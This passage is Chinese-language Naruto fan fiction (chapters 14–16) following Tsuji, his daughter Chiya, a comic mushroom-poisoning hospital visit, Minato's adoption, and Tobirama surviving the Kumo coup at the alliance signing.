“古蹊千弥的死亡时间不是战争期。”千手扉间看向古蹊辻。
“啊。你说的对。是二次忍战和三次忍战之间的空窗期。”辻趴在了火影桌上。
“九尾的人柱力经历了换代。”千手扉间盯着纱布上的细网。
“啊。”
“第二任人柱力是同古蹊千弥关系相当亲密的漩涡族人。”千手扉间看到纱布边缘的线头在颤抖。
“Hng……”
“知道这么多未来,你什么都没告诉我啊!”这交流的哪门子情报?千手扉间看着什么都知道但什么都没同自己说的辻满头黑线。
“因为我也不知道该告诉你什么啊,不少事情都是你说了我才想起来。”头刚刚被纲手敲得晕乎乎的,辻感觉天旋地转。明明他的辈分也是爷爷辈的,但却一点没有享受到应有的“尊敬”,反而被格外“招待”了,好晕想吐。
“笨蛋嘛你,至于死因……首先,自杀和他杀你认为会是哪一种?”
“绝对不会是自杀!”猛地抬起头,撞上文件小山的辻狼狈地张开双臂抱住歪斜的纸塔。
“既然如此,那么未来的古蹊千弥身边需要护卫。”千手扉间冷静的眼眸中映出一道颤抖的身影。
辻呼呼地吹气给自己降温,他曾试图改变过去,最终他失败了,现在他又试图改变未来。这次命运会站在哪边呢?
“未来真的可以改变吗?”原地趴在文件上的辻精神萎靡了不少,现在他满脑子都是亲近的却在未来逝去的人和泽法老师。
“不试试怎么知道。”千手扉间看着消沉的辻,提笔在卷轴上落下种种预测和应对方案,冷声道,“喂,不许趴着,难看死了。既然有空就把文件分类下发出去。”
“是、是……”辻结出一个十字形的印,伸手扒拉滑到地上连颜色都淡了好几个度的影分身,“喂,快起来干活。”
千手扉间:“……”这个人真是……他的心好累。
“等下找山中一族的族长敲开你的脑子,接受吗?”他已经不指望这个人的口述了。
“嗯,但不可以在别人脑子里乱翻哦。我要在旁边监督。”
“你要是早点同意,这一章乱七八糟、毫无逻辑可言的猜测都可以不存在。”千手扉间吐槽。
“不应该是怪扉间没能早点提出偷看别人大脑的要求吗?”坚信只要甩锅够快,锅盖就扣不到自己头上的古蹊辻反驳。
在飘雪的一月,木叶难得的热闹的冬日祭典上,古蹊辻遇到了自己未来的婿养子。
此时,距木叶隐村与云隐村缔结同盟仪式还有两个月。
14. 吸汗透气的紧身衣是木叶校服
家里的氛围最近很不对劲。
无所事事的千弥准备找放学的鹿久和小伙伴们说出自己的发现。
然而,等她看着学校里走出来的清一色的绿色小青蛙的时候,整个人都傻了——她的偷摸大鸡们怎么全都穿上了珍兽前辈同款?这还是冬天吗!
“那不是千弥吗!喂——千弥!”
个子高、视野广的丁座一眼就看到了坐在路边的石头上晃着腿怀里还抱着一个蛋糕盒的千弥,热情地挥舞手臂大声打招呼,完全没有注意到身边的两个绿色的小伙伴一个捂脸,一个低头,全然一副没脸见人的模样。
“学校是要学生搞人体绿化活动吗?让人耳目一新哦。”把蛋糕盒给丁座的千弥绕着三个人转了一圈,竖起大拇指夸赞三人的新造型。
“人体绿化什么的,不要乱造词啊。”和亥一对视一眼,奈良鹿久心里头那点不自在烟消云散,无奈地按着脑袋,“笨蛋也有笨蛋的好,对吧亥一。”
“是啊。”与奈良鹿久同属“正常人”阵营的山中亥一一边点头一边叹气。
千弥这家伙的迷之审美看到什么都能夸两句,这些年他和鹿久竭尽了全力也没能矫正过来,如今看来也是幸事一件。
“你那位珍兽前辈把奖金分成三份捐给了孤儿院、忍者学校和木叶医院。我们现在穿的这身算是……纪念校服。”奈良鹿久说到这,嘴角一阵抽搐。
忍者学校不比孤儿院,除了每年固定下发的行政拨款外还是头一次收到这么大数额的捐助。从校长到师生,如今学校里里外外已经被笨蛋细菌污染了。同学一听是传说中的冠军同款一个个跟打了鸡血似的,换衣服比干饭还勤快。转身的功夫,教室里就变成了绿海苍林。
“听起来很不错嘛!”千弥灼灼的目光让鹿久看着一阵汗颜,“真希望我上学的时候也有这个。”
闻言,亥一和鹿久的脑海中不约而同地浮现出了一个身着绿色紧身衣哈哈大笑着的千弥形象,浑身一抖。
“冷的话,卷轴里有厚衣服。”千弥掏掏口袋,将卷轴递出去。
“帮大忙了。”他可不想穿着这身招摇过市。
“是啊,谢谢你千弥。”
“我觉得这身衣服还不错欸。”
性格敦厚宽和的秋道丁座看着两个小伙伴一个比一个麻利的动作有些无法理解。
“竟然来接我们放学,说说吧有什么事?”换了身衣服连着气势都变了的奈良鹿久双手抱胸。
这家伙从他们上学至今,只有两次出现在学校门口,一次是一生一次的入学送学,另一次就是现在。
“大家的家里有没有什么变化?”感觉问题过于抽象,千弥试图将描述“细化”,“就是那种隐隐约约的紧绷感?”
章鱼烧店的角落,四个小脑瓜你碰我我碰你。
“变化?”奈良鹿久思考老爸老妈的最近的行为,果断回答,“没有。”
“我们家也没有。”
“我们家……”山中亥一忽然想到了自己的老爸的叮嘱,“应该有吧。老爸有一天突然和我说我平时要多关心千弥?”
“关心我/千弥?”三道声音齐声响起。
“为什么特意这么说?”把“入赘”两个字强行从脑子里挤出去,鹿久抬头看向同样一脸迷茫的千弥。
“因为我也快上学了?”
“那种事还有两年呢吧。”
千弥挠挠头,脸颊两边圆圆地鼓起章鱼小丸子的形状,“老爸最近的训练超严格,还演示了好多我目前学不会的招式。总觉得欧多桑他最近很焦虑,尤其是看到我之后,那种无法形容的感觉,就像是身边空气变稀薄了一样。”
自己似乎成了让家人烦恼的根源,千弥现在都不想回家了。
“焦虑?”那是用来形容辻大叔的形容词吗?
在奈良鹿久眼里,似乎芝麻点的小事都能让辻表露出苦恼的神色,但事实上,那个人无论应对什么都从从容容、游刃有余。
“欧多桑的查克拉就在1点钟方向,亥一能感知到吗?”软成一片的千弥用竹签戳戳表皮焦褐的丸子,像一株失水干枯的小草。
山中亥一闻言集中精神,“只能隐隐约约感知到那个方向有很强的力量。不过,好厉害啊,千弥的感知。”
“谢谢。应该是分身,但以前都没有分身跟着我的。”
“如果是这样的话,确实很反常。”
“战争即将结束了吧。到时候辻大叔也会清闲不少。”奈良鹿久干脆放弃逻辑和理性,尝试着从辻的角度进行思考,“难道是那种父亲特有的烦恼?”
“我难道让人很烦恼吗?”千弥大震惊!
她一直以为自己超省心!
看着毫无自觉性可言的千弥,猪鹿蝶默契地组成了千弥批斗小队。
“上次和绳树比赛荡藤条结果齐刷刷地摔进臭泥里的是你吧。”奈良鹿久斜眼。
“千弥还差点吃掉了钓鱼用的玉米粒。”那种做成饵料的食物,连他都不会想着去吃。秋道丁座叹气,这么一说,连他都觉得辻大叔不放心千弥是有充分理由的。
“和鹿抢鹿饼吃反被鹿咬住脑袋。”后来还是他把自己手里的鹿饼全都给了那只不松口的鹿,外加好言相劝才把千弥的脑袋从鹿口里救出来。
“你还和鹿抢鹿饼?还被咬住脑袋?”没听说过这回事的奈良鹿久震惊又无奈地看着耳尖有些泛红的千弥。
“我难道没有优点吗?”被打击得体无完肤的千弥,在把丸子戳得破破烂烂彻底散开之前嗷呜地把丸子吞进嘴里。
“和绳树比赛21胜3负?”千弥的武力方面一直是他们之中当之无愧的最强。
“虽然钓鱼的时候被鱼扯进水里,但用那个火苗术做出了很好吃的烤鱼。”想到烤鱼焦香的气味,丁座又追加了两份鱼丸。
“亲和力?鹿比起吃鹿饼更喜欢吃你?”顺着鹿久和丁座的思路,亥一试图从鹿、千弥、鹿饼的“食物链”关系中找到千弥可以转化为优点的突破点。
“那是肉质吧?亥一。”在食之一道颇为较真的丁座纠正亥一的用语。
“原来是千弥的肉质更吸引鹿呀。”山中亥一从善如流地改正。
“这种夸奖我才不会开心啦!”在同伴们的笑声中,千弥难得满脸通红,低声地嘟囔,”而且鹿不是肉食动物吧,哪有人被鹿吃掉的。”
“辻大叔不管做出什么事都不让人意外,千弥不用担心啦。”笑完开始娴熟顺毛的鹿久把自己的炸豆腐送到千弥面前。
“谢谢。”接过豆腐的千弥礼貌道谢,被安慰了但总觉得还是很不安。
“明天的祭典要一起玩吗?”
“老爸神神秘秘地说有特别训练。”
“那就没办法了。”
“是啊。”
……
“你们是?”
带着路边刷新的“野犬”回家的古蹊千弥在自己家门口看到了两个眼熟的陌生人。
如果门上没有挂着玖辛奈送给自己的粉色贝壳,看着从里面开门的人,她真的会以为自己敲错了门。
“宇智波——”盯着对方袖口的红白团扇,先一步确认了对方姓氏的千弥越看越是觉得对方眼熟,她认识的宇智波不多,所以叫什么来着,“——卷卷前辈?”
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被叫做“宇智波卷卷前辈”的卷发少年露出温和的笑意,“我的名字是宇智波镜,如果不介意,你可以叫我卷卷前辈。”
脑袋一歪,单细胞脱线生物陷入难得的思考状态,按照那本《礼貌交际用语和行为文明规范守则》,这不该是对方不介意时使用的称呼吗?
“卷卷前辈!”
嘛!总之大家都不介意就是皆大欢喜!
“你好,千弥。”
比起言笑晏晏的镜,一旁的背景板旗木朔茂此刻相当局促。
“这个发型,还有介于银与白之间的发色……”
顶着千弥探究的目光,想起来自己在涡潮隐村当过神明的旗木朔茂忽然不知道自己该是谁了!被认出来的话……
“汪汪!”虽然震惊于旗木朔茂的“登堂入室”,但危机关头,作为一只忠诚的契约忍犬对自己的契约者还是要出声拯救一下的。
“旗木,叫我旗木前辈就好!”
头一次看到没穿衣服也没佩戴护额的斯托卡,旗木朔茂绝望地发现假装不认识自己、警惕地吠叫两声后蹭着千弥裤腿的忍犬们比自己还有天分——忍犬、野犬、神使,它们每一只都是传说中切换自如的“三面颜”。
“こんばんは,旗木前辈。”
“我们是来跟随辻大人学习料理的。”
侧身让这间屋子的小主人和犬进门,宇智波镜温和地解释,然后他有幸体会到了千弥像看大猩猩一样看新奇物种的眼神。
“有、有什么问题吗?”身上围着印有骨头图案围裙的宇智波镜看着小时候的千弥,满头问号。
“你的身体……”绞尽脑汁的千弥开始搜罗不那么冒犯的话,“抱恙?”
宇智波镜:……
闻言,连试图缩小存在感,正和忍犬面面相觑的旗木朔茂都抬起了头。
“为什么这么想?”
“或是味觉失灵?生病了应该去医院,老爸的魔法料理不是普通人能承受的,尤其是那个蘑菇杂饭。”
正常人是绝不会来和老爸学做饭的。
千弥模仿着书里劝人向善的修女,轻轻地捧起镜的手,好言相劝,“那种饭吃下去会看到地狱光景的。”
“地、地狱?”宇智波镜脑后流下一滴冷汗。
“先是一圈圈相互缠绕的藤蔓、一跳一跳的蘑菇、无限分裂的猪笼草,然后是倒悬在高天之上的大海,只要眼睛一闭一睁,就彻底脱离这个俗世红尘了!”千弥模仿着老爸吓唬小孩的语气一本正经地说着超可怕的话。
在没吃到绳树带来的自称世界上最美味的蘑菇杂饭前,她一直以为无所不能的父亲做的蘑菇杂饭是传说中超稀有的“魔法料理”,吃完不仅饱腹,还可以在昏睡中周游异世。
还是与绳树争论谁家的蘑菇杂饭是木叶村第一,互不服输的两人决定交换蘑菇杂饭互相品鉴一决胜负,结果吃得晕头转向的绳树抽搐着告知了自己老爸做的蘑菇饭不仅不是魔法料理,还有毒。
“那种形容……未免太夸张了。”
仍试图在千弥面前为辻挽尊的镜看着千弥的眼睛,嘴角的笑意霎时间僵住,这样认真的眼神他见过的。于是,他听见自己说,“原来如此,辻大人的料理真是有着可怕的力量。”
前辈,就算是哄孩子的话,这个走向也不太对吧!
蹲在地上给狗梳毛的旗木朔茂看着阵营突变的前辈,不可置信地睁大了双眼。
他错过了什么吗?
不过话又说回来了,前辈为什么要过来学什么“料理”?
他是被辻大人押过来的,可镜前辈为什么这么主动?
15. 不期而遇亦是命中注定
“小千……我们是去医院探望病人的吧?”
迎上千弥手里那两捧红玫瑰,辻刚拿到手的包子险些没接住。站在他肩上用翅膀抱着炸薯条猛啄的小万眨眨黑豆眼,忽然发出“aho——aho”的怪叫声,可惜许多年过去了,海鸥仍旧没有发言权,下一秒便化作一道烟雾散去。
“因为花店里这些花开得最热烈。去医院探望的话,应当给奄奄一息的病人带去能够振奋精神的花吧。”
奄奄一息……被千弥的形容深深打击,导致木叶两名精英上忍一夜之间“奄奄一息”的罪魁祸首想到还躺在医院里留待观察的镜和朔茂沉默片刻,看着一朵赛一朵红艳的玫瑰放弃挣扎,“算了。”
毕竟年纪还小啊。
“不过小千——”辻把手里冒着热气的包子递给千弥,自己顺势接过千弥怀里的两捧玫瑰,低头看着还不到自己腿高的小千教育道,“你要记好,送人玫瑰花和单膝跪地表达一生一次的请求一样,未来只能送给小千心里认为很重要、很重要、很重要的对象哦。”
“原来如此,我知道了。”呜呜地吃着包子的千弥听到老父亲的教诲,应答得格外干脆。
也不知道小千到底明不明白。
不过他都这么反复强调了,想来应该不会有问题!
“我们走吧~”拥有迷之自信的辻恢复精神,单手抱花,另一只手则牵住了千弥,“不过在去医院前还要去趟水果店。”
“嗯!”呼出食物的热气,在风钻进脖子前千弥用脸颊蹭蹭热乎乎的围巾。
……
旗木朔茂是在古蹊家门口同宇智波镜分别的。
注意到街头的路灯忽明忽暗时,他最初以为是灯的线路出了故障。然而当视野中的两排路灯诡异地扭成螺旋形并往外滋滋迸着金色星星的那一刻,他迅速回忆起了千弥曾向镜前辈描绘过的那幅“地狱光景”。
辻大人带回来的那些蘑菇虽然五花八门什么品种都有,但也是经过自己和镜前辈暗中仔细确认过的,到底哪里出了问题?
以最快的速度奔向木叶医院,在脑中建筑的成像没有崩坏到无法辨认前,他在医院的门口撞上了一座海带山。
眼神已经发直的旗木朔茂忍着因为飞檐走壁而加重的眩晕和错位感询问,“是镜前辈……吗?”
“蒲公英……原来如此,是朔茂啊。”
于是,相互搀扶着踉跄进门的难兄难弟终于放下了为对方担忧的心,安详地闭上眼。
……
“你们两个是笨蛋吗?”
因为辻那番突变言论,夜间仍在木叶医院潜心研究二爷爷的细胞的纲手收到了医疗忍者们的求助。
穿戴米色防护装备的纲手看着躺尸的两个人拳头发硬,额头上的青筋像青蛙的声囊随着呼吸一鼓一鼓。
只一眼,她就看穿了两人的“病灶”。
辻那家伙的蘑菇饭连身为妻子的海未大人都不吃!这两个人难道生活在山洞里,一个个都没听说过古蹊千弥因为蘑菇两进医院的“光辉事迹”吗?都这么大的人了还净给别人添麻烦!
“根据古蹊千弥的血液样本做的靶向解毒剂呢?拿过来!”
她以为这种东西只有千弥一个人用得到,后来她发现绳树也是个笨蛋弟弟,直到今天她才意识到木叶村里竟还有这么多笨蛋!
“啊?是!”
因为两人身上来源不明的混合毒素正束手无策的医疗忍者听到纲手的命令愣了一秒,随后动身寻找解毒剂。临走前他们迅速对视并用余光极为复杂地瞥向已经丧失意识、双眼紧闭的旗木朔茂。
那个传言……果然是有道理的。
“身体好重。”从地狱爬回人间的旗木朔茂睁开眼,望着白色的天花板愣神。
“只要闭上眼睛就仿佛身处漩涡。”躺在旗木朔茂旁边病床的宇智波镜瞪着像死鱼一样没有光芒的漆黑的眼。
面对辻大人,果然一点都大意不得。千弥平日里过的到底是什么苦日子?长这么大真是辛苦了。
“他们醒了。”
推开门探头往里头看了一眼的千弥回望身后的老爸,轻声地知会。
“那就进去吧。”
“早上好,卷卷前辈,旗木前辈。”
医院这种地方让人不敢高声语,把花摆放好后千弥就开始盯着挂瓶上的滴液开始数数。
1滴、2滴……1滴的速度比一秒要慢一点,于是千弥又用自己的心跳频率同吊瓶滴液速度进行对比。有人进来了,带着消毒水、酒精和复杂的化学药剂的气味,但千弥还在数数,她的心跳变快了,几乎是滴液速度的1.5倍。
“你的蘑菇杂饭致幻效果太强了,除了千弥和你自己以外,不准再给别人吃了,听到没有。”
为什么这个不着调的家伙偏偏和她奶奶关系紧密,偏偏辈分还这么高!
“知道了,知道了。”把呆呆发愣了好长时间的千弥抱进怀里,辻半真半假地哭诉,“那些容易躺板板、身体脆弱的家伙注定没有办法享受古蹊辻出品的美味的蘑菇杂饭了。”
容易躺板板的旗木朔茂:“……”
身体脆弱的宇智波镜:“……”
拿着记录板的纲手忍了忍,竭力冲着无辜的千弥温声细语,“小千弥,过来陪姐姐验一次血。”
这个活蹦乱跳的小家伙也是超越常识的存在。
辻注意到千弥心跳的变化,于是大手在千弥毛茸茸的短发上胡乱地揉搓,出声打破病房里稍显沉闷的氛围,“小千,这个不是姐姐,是小侄女哦!”
视线从吊瓶到软管再到旗木朔茂贴着胶布的手背,在医院没收获过美好记忆的千弥果断闭上眼睛,团成圆球。
“下次吧,小纲。”辻见状加入劝说队伍。
“下次吧,小侄女。”千弥有样学样。
“噗嗤。”看着三人互动的宇智波镜没忍住笑出了声。
“我们的血可以吗。”打破沉默的旗木朔茂看向纲手。
下一秒,他收获了古蹊千弥闪亮的星星眼。
“卡密!”
旗木朔茂浑身一颤。
“像卡密様一样温柔的大好人!”
旗木朔茂闭上眼心脏狂跳。
他还记得未来卡卡西的话——母亲曾把父亲当成神明。
“喂,手乱动什么?”纲手眼疾手快地把旗木朔茂往被子里缩的手按住,顺便不客气地把躲进被子里的人掀出来,“不准乱动!”
这个人可没有能压她的辈分,作为病人胆敢违抗医生的命令等着吃拳头吧。
被迫暴露在空气中的旗木朔茂无助地发现可怕的不止是未来,还有眼前握拳的纲手、看笑话的前辈、无良的上级,以及一无所知但杀伤力最强的千弥。
“走了哦,小千。”慰问环节结束,辻把千弥夹在臂弯,“来,告个别。”
“再见啦!”
阳光健气的声音消失,连脚步声也听不见了。
镜扭头看着正给朔茂抽血的纲手姬的背影,隔着人问道,“那句卡密有什么特殊的意义吗?”
“哦?肌肉变硬了。”纲手按着旗木朔茂大臂上的肌肉,眼睛狡黠地弯成一道粗线条,“有秘密啊,朔茂kun。”
旗木朔茂扭头不语,但纲手替他回答了镜的问题,“啧,像个小媳妇似的,心跳变快了,脸在红呢,出汗了哟,平复呼吸是没用的,我都能看出来。怎么样,镜前辈有答案了吗?”
旗木朔茂:……
“是的。”宇智波镜把头转了回去。
他的后辈疑似有喜欢被当做卡密的隐秘癖好。
真是让人难以相信,毕竟那可是像大型犬一样温厚忠实的旗木朔茂啊。
……
“欧多桑今天不用工作吗?”
已经挥不动短刀的千弥单手撑着膝盖,嗬嗬地大口大口呼吸,身上冒着腾腾的热气。
辻把刀往地上一插,露出笑容,“比起工作,还是陪小千训练更重要。”
千弥感受着从鼻腔到心肺一路凉到身体内部又被迅速融暖的空气,闻言撇嘴。
有时候她也不是很需要人陪。她已经到了需要独处的年纪了!
“在心里偷偷许愿,希望爸爸去工作吗?小千好过分!”
“被、被发现了!”千弥睁大眼睛,“难道是传说中能够隔空读取人心的忍术吗?”
因为笨蛋小千的心事都写在脸上啊。
“没错!”辻假惺惺地抹抹眼角,“爸爸好伤心,小千总是冷淡地赶爸爸去工作的话,会伤心到死掉的!”
“欸???”千弥眼睛瞪得圆溜溜的,头发被迎面来的狂风猛地往后吹。
“一鼓作气再挥刀10000下怎么样?这是爸爸一生的请求。”
试图答应来自欧多桑的一生一次的请求的千弥看着没有知觉的手臂,咬咬牙,“我觉得只可以鼓一半的气。”
“一半也很满足了,小千加油哦!”
看着小不点打颤却还在挥刀的手,靠着树坐下的古蹊辻笑弯了眼——小千真是……好玩又好骗。这么一想,鹿生那家伙好可怜,毕竟鹿久那小子既不好玩也不好骗。
上午狠狠消磨了千弥的精力,辻下午带着换好衣服的千弥耐心在家等等妻子回来。
“一家人一起去冬日祭典吗?”
“啊……”被可爱的女儿注视着的辻心虚望天,“对小千来说是……严酷的修行哦。”
“严酷?”似乎不是什么好词。
“小千身体里有一道封印,这个小千应该能感受到吧。”
辻看着默默离自己远了些的小千,笑着伸手把人拉近,“小千感知力提升得很快,还会下意识地避开人很多的地方。这是因为小千有着与生俱来的名为见闻色霸气的天赋,今天彻底地解除封印,尝试着控制一下吧。”
“不能等未来再尝试吗?”现在时不时往脑袋里钻的声音已经很多了。
“正是为了未来哦!”
提升感知能力,进一步开发霸气,最终达到预见未来的境地,这样未来的小千遭遇生死危机的可能性也会大幅下降。
“未来明明很遥远,但我已经感受到其中的辛苦了。”垂着脑瓜的千弥趴在地上,“不对,现在也好辛苦。”
“训练结束一家三口正式去参加真正的祭典如何?”
“不要欧多桑,只和妈妈两个人可以吗?
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“欸?不可以!!!绝对!”辻大惊失色,“没有欧多桑的家是不完整的!”
辻趁着千弥接糖葫芦的功夫眼疾手快地把封印解开了。
千弥甩着眼泪跑走了。
当辻和海未穿过人群找到千弥的时候,她已经扒下了别的小朋友的耳罩,霸道地把自己的糖葫芦塞进同龄小朋友的手心作为交换,躲在树下将自己伪装成一只蓝色的西瓜虫。
“呜呜!”
“妈妈!”千弥哭得鼻子通红,但很快就只是无声落泪。
“我……”站在集市边缘的波风水门呆呆地举着糖葫芦,看着站在一边露出苦笑,抓着头发的辻,“那个……”
金发在风雪中飘舞,他把手里的糖葫芦递给辻,转身走到千弥身边,熟练地安慰,“不要再哭啦。再哭下去,爸爸和妈妈也会伤心的。”
“拜托你帮我照顾一下小千。”海未看着水门,从卷轴里取出备用的冬服,给耳尖泛红的水门戴上一个水蓝色的耳罩,又仔细地围上围巾,随即气势汹汹地朝着抱胸的男人的方向走去。
“欸?等等——”我可以解释!
“嘭!”
疑似误入家暴现场的波风水门将双手覆住千弥头上的本属于自己的耳罩,无声地用身体挡住千弥的视线。
“快点把封印恢复”
“不行!小千需要把那份力量为自己所用。你要相信她。”
身后的争执消散在了风雪里。
“我的名字是波风水门,今年4岁,我见过你的哦,在去年举行的木叶武斗大会的现场。”
耐心等了几秒的波风水门得到了回应。
“我叫古蹊千弥,今年同样4岁,我的生日是2月1日。”
波风水门闻言露出爽朗的笑颜,“我的生日是1月25日呢,是哥哥呦。”
波风水门擦去千弥眼尾的泪珠,再转身时,头上顶着三层包的辻已经站在了两人身后,举着各种小吃盒,“一人一份~”
千弥慢吞吞地起身,牵着波风水门绕过爸爸,走到妈妈身边,瘪嘴,“不要爸爸了。”
“那就不要爸爸。”海未用手贴着千弥冰凉的脸颊,又笑着对水门做出一个ありがとう的口形。
“欸?小千?”豆豆眼的男人看着其乐融融的一家三口,大闹,“不可以,没有欧多桑的家是不完整的!”
“呜——”一放松下来,各种声音像自带钻头一样在脑袋上打洞。
“感到苦恼的话,可以试试只听我的声音。”波风水门敏锐地抱住千弥,“声音,心跳,血液流动,无论什么都可以。”
“真是厉害的孩子。”至少这一刻,他这个坏爸爸被衬得毫无存在感了。古蹊辻悠悠地感叹,不出意外地得到了一道来自海未的瞪视。
封印千弥身上大约70%的霸气,流血又流查克拉的辻擦擦汗。看着一旁正和海未说话的成熟小金毛,男人认命地背起睡着都不忘攥住自己头发的千弥安静地缩在一旁。
好痛,头发要秃了!
但…不敢吱声。
……
“戌—午—酉——”风遁·大突破!
顺利吐出强风的波风水门看着躺在草坡的男人,呈大字形躺下,望着燃烧的天空,“辻先生是因为祭典外发生的事而想收养我吗?”
上午陪千弥训练,下午帮扉间办公,傍晚陪小金毛练习,太阳落山找千弥回家,一天行程安排得满满当当的辻听到波风水门的话睁开了双眼。
“也许是命中注定也说不准,毕竟水门名字里的每个字都是我喜欢的意象~而且未来的大水门不仅称自己是我的婿养子还同千弥一起生活了十几年呢。这份情感若是被我直接斩断的话,总感觉变成了超级恶人。”
“未来的我?”知道什么是“婿养子”的波风水门因为辻的话害羞了一瞬,又很快镇定下来。
“要不要试试看,我和海未去办理收养手续的话,婿养子这个词或许会再次出现哦。”
“我倒不执著这个啦,只是未来的大水门说办理手续的时候,行政人员这么问,而我又没有反对。把这个作为验证我所说的‘未来水门’存在的真实性印证如何?”
波风水门没有怀疑辻的话。他听说过这个很厉害的叔叔,从那位给孤儿院捐了一大笔款项,足以支撑孤儿院未来5年支出的戴先生口中。
结果也确是如此。
被工作人员理所当然地认作是辻的赘婿的小水门悄然红了脸,但与“预言”不同的是古蹊辻的反应——
“未来当然要看水门的意愿。”还有小千的。
然后,波风水门看到十分上道的工作人员自觉地在关系那一栏前添了个“婿”字。
“真是不得了,我明明都这么说了,结果水门还是变成了我的婿养子吗?”如果他再强硬点,这个小小的未来能否改变呢?
抱着凭证的辻和水门一起盯着前面黑色的婿字,“没事,没事,小千和水门任意一方不愿意就都不作数。”
未来的自己……波风水门觉得那个未来的他可能超愿意。不然,也不会连这种细枝末节的事都说出来。
此时,距千手扉间参加结盟还有三天。
16. 不可阻挡的命运洪流
千手宅——
“你知道吗,扉间——”
古蹊辻的上半身仰躺着像毯子一样铺在桌面,看向正坐在地上给战甲装配毛领子的千手扉间。他一只手搭着桌角,另一只手覆在心脏上,‘上次这里跳得这么乱还是看着我的兄弟上刑场。”
只是动身参加与云隐村的结盟仪式却被比作“上刑场”的千手扉间看着古蹊辻乱七八糟无法用言语形容的姿势,在心底无声地叹气,“结局呢?”
深知漩涡一族没有公开处刑这种威慑制度的千手扉间只当辻是吹水。配合着搭完话,他凝神盯着挂在墙上的陪着他度过了战国时光的长刀。
此时此刻,他的心情也难免有些沉重。
“只差一点就死了。现在想起来仍旧是惊心动魄。”辻抬手捂住眼睛,过了好一会儿他从桌子上翻下来,转身对坐在一面已经有些年头刻着千手族徽的木墙前。
那是他有生以来第一次通过闻色霸气看到可怕的未来,海贼艾斯的另一种结局,作为哥哥被巨大的岩浆拳头烧通内脏,保护了仅剩的弟弟的结局。
“那么我也不会死。”千手扉间语气淡淡的,狭长的红眸如深海般平静。
“我又想到了一些‘保险’措施。”像猫一样抖了抖,辻撑地起身,“这个是逆通灵卷轴,可以通灵出我。以及这个——我的通灵兽,小一千八百七十五。”
被名为“一千八百七十五-chan”的海鸥强行埋胸的千手扉间叹气,不知第多少次说出了那句暗藏在心里如薄雾般挥散不去的话,“你这家伙……到底是成熟还是不成熟啊。”
“嘎吱——”
两个人类叽叽喳喳说什么呢?
难得被通灵出来的海鸥小小的脑子什么都装不下,眼中满是这条被自己的喙压着的既蓬松又透着太阳气息的诱人领子。趁人不备,白色的海鸟眼冒精光,一头扎进了毛领子,用力挥扇着翅膀在毛领子海洋中蹬腿自由泳。
感知到海鸥动作的千手扉间双手抱胸,静静地盯着古蹊辻,“拿走。”小也不行!
“带着嘛!万一有用呢,你看,它简直和你一样有品味。”顶着千手扉间的眼刀,刀枪不入的古蹊辻竖起大拇指。
把还在快乐自由泳的海鸥从毛领子里拽出来,看着海鸥橙黄色的鸟喙叨着的那簇可疑的白色绒毛,千手扉间的额头冒出一条青筋。
“也许未来的我是被你气死的。”
“这种死法就算你接受了,我也不能接受!我可不想变成气死二代目火影的木叶罪人。木叶有史以来最凶恶兼最搞笑的罪犯吗?这种名号谁爱要谁要,我不要。”
“再说一句话,我现在就死给你看。”千手扉间的额头上鼓起第二道青筋。
每当他觉得古蹊辻成熟可靠时,现实就会给他一记迎头痛击。
“消气、消气,形象!带着一千八百七十五-chan一切好说。”辻双手捧着被丢过来的小海鸥,狗腿地奉到千手扉间面前。
“一千八百七十五?”千手扉间盯着面前这只从未见过的小型海鸥。
没有贝雷帽,也没有织布挎包,编号偏偏这么大,这个人到底养了多少通灵兽?
“通讯海鸥吗?”
“不完全是,主要工作是近海巡护。而且它的名字是一千八百七十五-chan,好好叫人家的名字啊,扉间。”在辻的手心蹬腿的海鸥双翅贴肚,狐假虎威,嘎吱嘎吱地点头应和。
“chan?”这也是名字中的一部分?
千手扉间看到海鸥满意地点了点头。
千手扉间:……
“你的海鸥怎么一只只都这么有个性?”
“因为它们是降生于风暴之中的不屈的灵魂!”
被夸得心花怒放的小海鸥啪嗒啪嗒地拍着肚皮,仰天大嘎。
这两者有什么联系吗?
他完全无法理解天然呆的电波。
最后还是带着海鸥一并出发了,在辻抱着自己大腿毫无形象可言的苦苦哀求之下。
“扉间老师…您的……”领子动了!
看到千手扉间的毛领子有一小块不自然地起伏,猿飞日斩想起老师临行前的叮嘱,下意识地摸上了忍具包。
“不用担心,这是一千八百七十五。”
“嘎!”海鸥不满地盯着千手扉间的后脑勺,翅膀扑得虎虎生风,看模样像是挑好下手的地方。
“……chan。”千手扉间闭上眼,不愿关注弟子和护卫们的表情。
等他回去,辻那家伙死定了。
他好像回不去了。
在双方皆在结盟书上签字落笔的那一刻,从出发便始终处于警惕状态的千手扉间几乎就要认同了辻所谓的“基因突变”理论。但是——
“嘎!!!”
海鸥的警鸣被轰响强压下去,二代目雷影捂着染血的胸膛错愕倒地。
果然片刻都疏忽不得。
千手扉间冷静地看着面前被喻为“云中的两道光芒”的金银兄弟,目光迅速瞥向重伤不起的二代目雷影及陷入慌乱的雷影卫队。
白痴辻,被政变的才不是他。
千手扉间冷静地审视着还在大闹会场的银角以及手执羽扇直指自己的金角。
幌金绳、芭蕉扇、琥珀净瓶、红葫芦和七星剑。
眼前的危机着实不好应对,拥有九尾查克拉的不完全人柱力、传说中的六道忍具,雷影护卫队的忍者都随时可能联合金银兄弟以及部下反水,连他事先留在外面的飞雷神标记也处于包围圈中。
以目前的处境,他们大概很难满员回村。
“竟然向木叶摇尾,丧失了豪夺之心的家伙我们可不认他做影,是吧金角!第三代属于我们兄弟!我们的时代到来了!”
“咻——”
不视、不听、不语,抬手一招飞雷神瞬身带着部下们离开的千手扉间在最后一刻将目光落在了在政变中被粉碎的盟书上。
可惜了。
金角主攻,使用忍具的银角伺机强袭,随着两人半尾兽化,树木被连根拔起,受到攻击波及的范围还在不断扩大。与金银兄弟迅速交战几个回合,一击不成,果断瞬身撤离的千手扉间动身与四散突围的部下们汇合。
将火影之位传给了猿飞日斩,省去民选环节、自己直接身死战场是否也是对未来的改变?剩下的,就交给辻了。吸引所有的火力为部下争取逃跑时间的千手扉间在瞬杀一名精锐后再次发动了飞雷神。
卷轴要毁掉。
躲过一发尾兽玉,半身沐血的男人视线已经模糊了,被所有人遗忘的海鸥睁着眼,静静地注视着千手扉间的动作。
“听好了,一千八百七十五-chan,一旦看到这只卷轴被取出来,无论扉间是否选择召唤我,这个时候就是你登场的时机。”
“火遁——”
“人家刚来就送上这么一份大礼吗?”
护具早已在激战中碎裂,血水顺着眉骨滑进眼中,入目一片鲜红的千手扉间嘴唇颤动。他意识到自己在这场云隐政变中活下来了。现实正与名为未来的无形轨道趋重、吻合。
不远处,暴戾的尾兽查克拉正急速接近。
“你不应该来的。”
